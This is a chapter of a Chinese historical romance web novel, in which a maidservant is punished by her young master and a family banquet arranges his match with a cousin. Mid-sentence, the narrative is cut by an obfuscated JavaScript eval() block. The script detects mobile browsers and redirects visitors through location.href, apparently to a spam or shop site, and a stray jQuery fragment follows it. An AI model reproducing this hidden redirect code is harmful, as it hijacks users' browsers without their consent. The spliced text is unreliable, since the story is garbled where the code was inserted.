“映月,你可有话要说?”谢长溪问道。
施筠摇头,叩首道:“夫人,郎君,此事确实是奴的错。”
“雪臣,你也瞧见了,你苑里都是些什么人?”崔氏恼道,忆起方才崔姝起的红疹,便又软了态度,道“姝儿这一病,便叫她在府上多待一段时日,你也多去瞧瞧她,别生分了。”
谢长溪直盯着施筠,前些日子被冷茶浇下去的怒意,竟又翻涌起来。
是了,是了。
施筠从未将他当作明事理的主子,但凡是个人便能欺辱她。
想到此处,谢长溪骤然起身,朝崔氏道:“自然。”
“既是你犯了错,便到廊下跪上三个时辰。”
语罢,谢长溪转身回东苑。
崔氏愕然,犯了这事,谢长溪竟只是叫施筠罚跪。
待施筠走后,画秋向崔氏委屈道:“夫人不晓得,映月在东苑那可是清闲得紧,郎君原是不吃消夜,可映月每日都为郎君做,是拿准了郎君心软呢。”
崔氏蹙眉道:“雪臣可不是那等心软的性子。那丫头颇有些手段,先前我是想将她发卖了去,是雪臣拦了下来。”
魏妈妈忆起柳妈妈的境况,婉言道:“夫人,我瞧着她心里是不服气的,趁早撵出去的好。”
崔氏抬手扶额,她倒是有这个心,可碍着谢长溪的面子,哪里由得她做主。如今谢长溪愿顺着她与崔姝接触,便已是给她这个做母亲的面子。
满京城的世家贵女,崔氏若有心自然能寻得家世好、样貌好的姑娘。
崔氏挑中崔姝做儿媳,是她和谢长溪权衡利弊的结果。
家世好的贵女多与国公爷来往,谢长溪并不想与新党关系太近,只能向下挑。
挑来挑去,好似也只有崔姝最为合适。
这一来,她满意,谢长溪也默许,两全其美。
崔氏好不容易同谢长溪心意一致,她如今也不愿意去触他的霉头。
谢长溪若愿意留着施筠,那便留着。左右在她的眼皮子底下,还能叫个小姑娘掀翻了天?
施筠跪在东苑前,她已数不清这是第几回罚跪。
总之,万般不由她。
不知跪了多久,铃香趁着夜里人少,赶忙将汤饼塞到施筠手里。
“姐姐,你又再犯糊涂了。我都听说了,我是不肯信姐姐做了那等事,可你为何不同郎君解释?”
铃香满眼担忧,心口堵着气,却又不忍心同施筠说。
她是担心施筠的,从江陵到侯府,铃香一路跟过来,明白施筠总在忍着什么,可到底为何,她却不明白。
施筠轻拍铃香的肩,“让你担心了。”
“姐姐莫说这些,我情愿姐姐活得痛快些,我心里也好受。”铃香含着泪,别过眼不去看施筠。
施筠哪里不想痛快地活下去,可在侯府没有她痛快的地儿。
只能忍着,忍到谢长溪给她放良书。
她今日见谢长溪为崔姝着急,想来这婚事也很快会定下来。
她只需再等等,再等等。
——
崔姝要在侯府小住,老太太那头得了消息,同崔氏通过气后便设了一场家宴。
侯府本有三房,可惜另外两房外放做官,极少回汴京。
老太太膝下冷清,身边就指着长房承欢。可谢长溪仕途正好,公务繁忙,别说陪老太太说话,连在府里用饭的日子都少得可怜。
这回崔氏做主让崔姝来府上小住,老太太心里跟明镜似的。
谢长溪少年得志,外放三年归来,已二十有一。
而后紧接着外放荆州,这一来,他今岁二十二,旁的世家公子这年纪孩子都有了。
老太太心里着急,可有什么法子,她的这个长孙跟母亲不合,又是个极聪慧的,事事都有自个儿做主。
况且这侯府的门楣往后还要靠他撑起。
如今见谢长溪肯与崔姝相看,心里欢喜得紧,备了不少礼预备送给孙媳妇。
那崔姝,老太太往日是见过的。
模样、性情虽比不上王公贵族,但人识趣知礼,也堪配谢长溪。
思及此,老太太略有些惋惜,依着谢长溪如今的功绩才华,娶个世家贵女才好相配。
崔氏一族往日里有些风光,到如今于谢长溪的仕途并无助益。
可好歹是有了着落,也罢了。
老太太心里一番思量,拉起崔姝的手,语气慈蔼,“好
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17537357|203359||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
孩子,不必拘束,就当是自个儿的家。”
崔姝神色淡淡地颔首。
这会谢长溪尚未下值,老太太的荣善堂,尚且有些冷清。
崔氏嗔怪道:“你往后跟着雪臣叫祖母就好,你这孩子,总放不开,叫外人看了去岂不丢了脸。”
崔姝没得心烦,只是面上不显。
崔氏虽是她的表姑,可终究隔了房,且多年未见,哪里有什么姑侄情深。
这些长辈三言两语就将她的终身大事定下,由不得她说一句不愿意。
自个家里想攀侯府,姑母也情愿她做儿媳。
长辈们倒是你情我愿,却不问问她。
崔姝抹开面,应承道:“姑母教训的是。”
崔氏同老太太拉着崔氏问了好些话,日暮时分,画秋进屋内禀道:“郎君回来了。”
老太太笑得眼睛眯成一条缝,道:“好啊,好啊,快让他进来。”
崔姝难得躲开盘问,便捧起建窑兔毫盏,抿了一口茶。
她从前在家里没用这样的杯盏,心里五味陈杂。
侯府处处都比崔宅好,走不到尽头的曲折回廊,吃不尽的好茶,穿不完的美衣华服。
哪里都好,哪里都不好。
崔姝兀自叹了一口气。
崔氏与老太太一道往门口看去。
谢长溪已换上常服,一身月白直裰,远看素净,近看才见云纹隐隐。腰间束一条银丝带,垂着一枚墨玉佩,愈显身姿清隽、眉目如画。
他后头跟着施筠身着豆绿褙子,领口露出一截淡青抹胸。褙子是细棉布,浆洗得挺括,袖口还绣了几笔浅色兰草。
老太太目光停在施筠身上,侯府的女使哪里就落魄到了这个地步,何况还是她孙儿身边的人。
她尚且清明的眸子,将施筠从头到脚打量一遍。
“雪臣,近前来我瞧瞧。”老太太含笑道。
谢长溪上前请崔氏和老太太的安,老太太安排谢长溪坐在崔姝身边。
见崔姝在身侧,谢长溪温声问:“表妹可都大好了?”
崔姝微笑颔首。
他二人一问一答,再寻常不过的问候,到了老太太眼里却是越发的郎才女貌。